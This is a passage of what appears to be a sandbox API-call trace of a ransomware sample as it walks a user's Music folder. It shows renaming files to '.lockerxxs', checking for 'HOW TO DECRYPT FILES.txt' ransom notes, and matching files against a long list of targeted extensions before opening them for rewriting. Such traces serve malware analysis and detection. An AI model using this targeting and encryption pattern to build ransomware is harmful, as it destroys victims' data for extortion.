hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6949, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6949, lpOverlapped=0x0) returned 1 [0090.489] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.489] CloseHandle (hObject=0x90) returned 1 [0090.489] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\4e0x1iogqkh9y3mivt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\4e0x1iogqkh9y3mivt.mp3.lockerxxs")) returned 1 [0090.490] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dff8350, ftCreationTime.dwHighDateTime=0x1d5e211, ftLastAccessTime.dwLowDateTime=0x238097d0, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x238097d0, ftLastWriteTime.dwHighDateTime=0x1d5e5e1, nFileSizeHigh=0x0, nFileSizeLow=0xc592, dwReserved0=0x25000326, dwReserved1=0x4e00c4, cFileName="6bya.wav", cAlternateFileName="")) returned 1 [0090.490] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.490] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="6bya.wav") returned 1 [0090.490] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="6bya.wav") returned 1 [0090.490] lstrcmpiA (lpString1="", lpString2="6bya.wav") returned -1 [0090.490] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\4e0x1iOgQKh9y3MivT.mp3") returned="4e0x1iOgQKh9y3MivT.mp3" [0090.490] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.490] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.490] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.490] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.491] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="6bya.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.ems") returned 0 [0090.491] lstrlenA (lpString="*.ems") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.db") returned 0 [0090.491] lstrlenA (lpString="*.db") returned 4 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.dbf") returned 0 [0090.491] lstrlenA (lpString="*.dbf") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.myox") returned 0 [0090.491] lstrlenA (lpString="*.myox") returned 6 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.myo") returned 0 [0090.491] lstrlenA (lpString="*.myo") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbw") returned 0 [0090.491] lstrlenA (lpString="*.qbw") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbb") returned 0 [0090.491] lstrlenA (lpString="*.qbb") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbm") returned 0 [0090.491] lstrlenA (lpString="*.qbm") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbo") returned 0 [0090.491] lstrlenA (lpString="*.qbo") returned 5 [0090.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbx") returned 0 [0090.492] lstrlenA (lpString="*.qbx") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qba") returned 0 [0090.492] lstrlenA (lpString="*.qba") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qby") returned 0 [0090.492] lstrlenA (lpString="*.qby") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qbj") returned 0 [0090.492] lstrlenA (lpString="*.qbj") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.ofx") returned 0 [0090.492] lstrlenA (lpString="*.ofx") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.qif") returned 0 [0090.492] lstrlenA (lpString="*.qif") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mye") returned 0 [0090.492] lstrlenA (lpString="*.mye") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mbox") returned 0 [0090.492] lstrlenA (lpString="*.mbox") returned 6 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.eml") returned 0 [0090.492] lstrlenA (lpString="*.eml") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.pst") returned 0 [0090.492] lstrlenA (lpString="*.pst") returned 5 [0090.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.ost") returned 0 [0090.493] lstrlenA (lpString="*.ost") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.idx") returned 0 [0090.493] lstrlenA (lpString="*.idx") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.dbx") returned 0 [0090.493] lstrlenA (lpString="*.dbx") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.sql") returned 0 [0090.493] lstrlenA (lpString="*.sql") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mdb") returned 0 [0090.493] lstrlenA (lpString="*.mdb") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.fdb") returned 0 [0090.493] lstrlenA (lpString="*.fdb") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.wab") returned 0 [0090.493] lstrlenA (lpString="*.wab") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.dat") returned 0 [0090.493] lstrlenA (lpString="*.dat") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.txt") returned 0 [0090.493] lstrlenA (lpString="*.txt") returned 5 [0090.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.jpeg") returned 0 [0090.494] lstrlenA (lpString="*.jpeg") returned 6 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.jpg") returned 0 [0090.494] lstrlenA (lpString="*.jpg") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.png") returned 0 [0090.494] lstrlenA (lpString="*.png") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.php") returned 0 [0090.494] lstrlenA (lpString="*.php") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.cs") returned 0 [0090.494] lstrlenA (lpString="*.cs") returned 4 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.cpp") returned 0 [0090.494] lstrlenA (lpString="*.cpp") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.rar") returned 0 [0090.494] lstrlenA (lpString="*.rar") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.zip") returned 0 [0090.494] lstrlenA (lpString="*.zip") returned 5 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.html") returned 0 [0090.494] lstrlenA (lpString="*.html") returned 6 [0090.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.htm") returned 0 [0090.494] lstrlenA (lpString="*.htm") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.xlsx") returned 0 [0090.495] lstrlenA (lpString="*.xlsx") returned 6 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.xls") returned 0 [0090.495] lstrlenA (lpString="*.xls") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mp4") returned 0 [0090.495] lstrlenA (lpString="*.mp4") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.ppt") returned 0 [0090.495] lstrlenA (lpString="*.ppt") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.pptx") returned 0 [0090.495] lstrlenA (lpString="*.pptx") returned 6 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.doc") returned 0 [0090.495] lstrlenA (lpString="*.doc") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.dot") returned 0 [0090.495] lstrlenA (lpString="*.dot") returned 5 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.docx") returned 0 [0090.495] lstrlenA (lpString="*.docx") returned 6 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.7z") returned 0 [0090.495] lstrlenA (lpString="*.7z") returned 4 [0090.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.tar") returned 0 [0090.495] lstrlenA (lpString="*.tar") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.bz2") returned 0 [0090.496] lstrlenA (lpString="*.bz2") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.gz") returned 0 [0090.496] lstrlenA (lpString="*.gz") returned 4 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mkv") returned 0 [0090.496] lstrlenA (lpString="*.mkv") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.eml") returned 0 [0090.496] lstrlenA (lpString="*.eml") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.msg") returned 0 [0090.496] lstrlenA (lpString="*.msg") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.edb") returned 0 [0090.496] lstrlenA (lpString="*.edb") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.accdb") returned 0 [0090.496] lstrlenA (lpString="*.accdb") returned 7 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.odb") returned 0 [0090.496] lstrlenA (lpString="*.odb") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.java") returned 0 [0090.496] lstrlenA (lpString="*.java") returned 6 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.asm") returned 0 [0090.496] lstrlenA (lpString="*.asm") returned 5 [0090.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.pfx") returned 0 [0090.496] lstrlenA (lpString="*.pfx") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.pem") returned 0 [0090.497] lstrlenA (lpString="*.pem") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.p12") returned 0 [0090.497] lstrlenA (lpString="*.p12") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.gpg") returned 0 [0090.497] lstrlenA (lpString="*.gpg") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.vsd") returned 0 [0090.497] lstrlenA (lpString="*.vsd") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.odg") returned 0 [0090.497] lstrlenA (lpString="*.odg") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.raw") returned 0 [0090.497] lstrlenA (lpString="*.raw") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.nef") returned 0 [0090.497] lstrlenA (lpString="*.nef") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.svg") returned 0 [0090.497] lstrlenA (lpString="*.svg") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.psd") returned 0 [0090.497] lstrlenA (lpString="*.psd") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.vmx") returned 0 [0090.497] lstrlenA (lpString="*.vmx") returned 5 [0090.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.vmdk") returned 0 [0090.498] lstrlenA (lpString="*.vmdk") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.vdi") returned 0 [0090.498] lstrlenA (lpString="*.vdi") returned 5 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.lay6") returned 0 [0090.498] lstrlenA (lpString="*.lay6") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mpeg") returned 0 [0090.498] lstrlenA (lpString="*.mpeg") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.djvu") returned 0 [0090.498] lstrlenA (lpString="*.djvu") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.tiff") returned 0 [0090.498] lstrlenA (lpString="*.tiff") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.backup") returned 0 [0090.498] lstrlenA (lpString="*.backup") returned 8 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.pdf") returned 0 [0090.498] lstrlenA (lpString="*.pdf") returned 5 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.cert") returned 0 [0090.498] lstrlenA (lpString="*.cert") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.docm") returned 0 [0090.498] lstrlenA (lpString="*.docm") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.xlsm") returned 0 [0090.498] lstrlenA (lpString="*.xlsm") returned 6 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.dwg") returned 0 [0090.498] lstrlenA (lpString="*.dwg") returned 5 [0090.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.nd") returned 0 [0090.499] lstrlenA (lpString="*.nd") returned 4 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.tlg") returned 0 [0090.499] lstrlenA (lpString="*.tlg") returned 5 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.lgb") returned 0 [0090.499] lstrlenA (lpString="*.lgb") returned 5 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.mov") returned 0 [0090.499] lstrlenA (lpString="*.mov") returned 5 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.xdw") returned 0 [0090.499] lstrlenA (lpString="*.xdw") returned 5 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.ods") returned 0 [0090.499] lstrlenA (lpString="*.ods") returned 5 [0090.499] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", pszSpec="*.wav") returned 1 [0090.499] lstrlenA (lpString="*.wav") returned 5 [0090.499] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" [0090.499] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" [0090.499] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav." [0090.499] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav.lockerxxs" [0090.499] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\6bya.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.500] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc592 [0090.500] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4dff8350, dwHighDateTime=0x1d5e211), lpLastAccessTime=0x407536*(dwLowDateTime=0x238097d0, dwHighDateTime=0x1d5e5e1), lpLastWriteTime=0x40753e*(dwLowDateTime=0x238097d0, dwHighDateTime=0x1d5e5e1)) returned 1 [0090.500] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 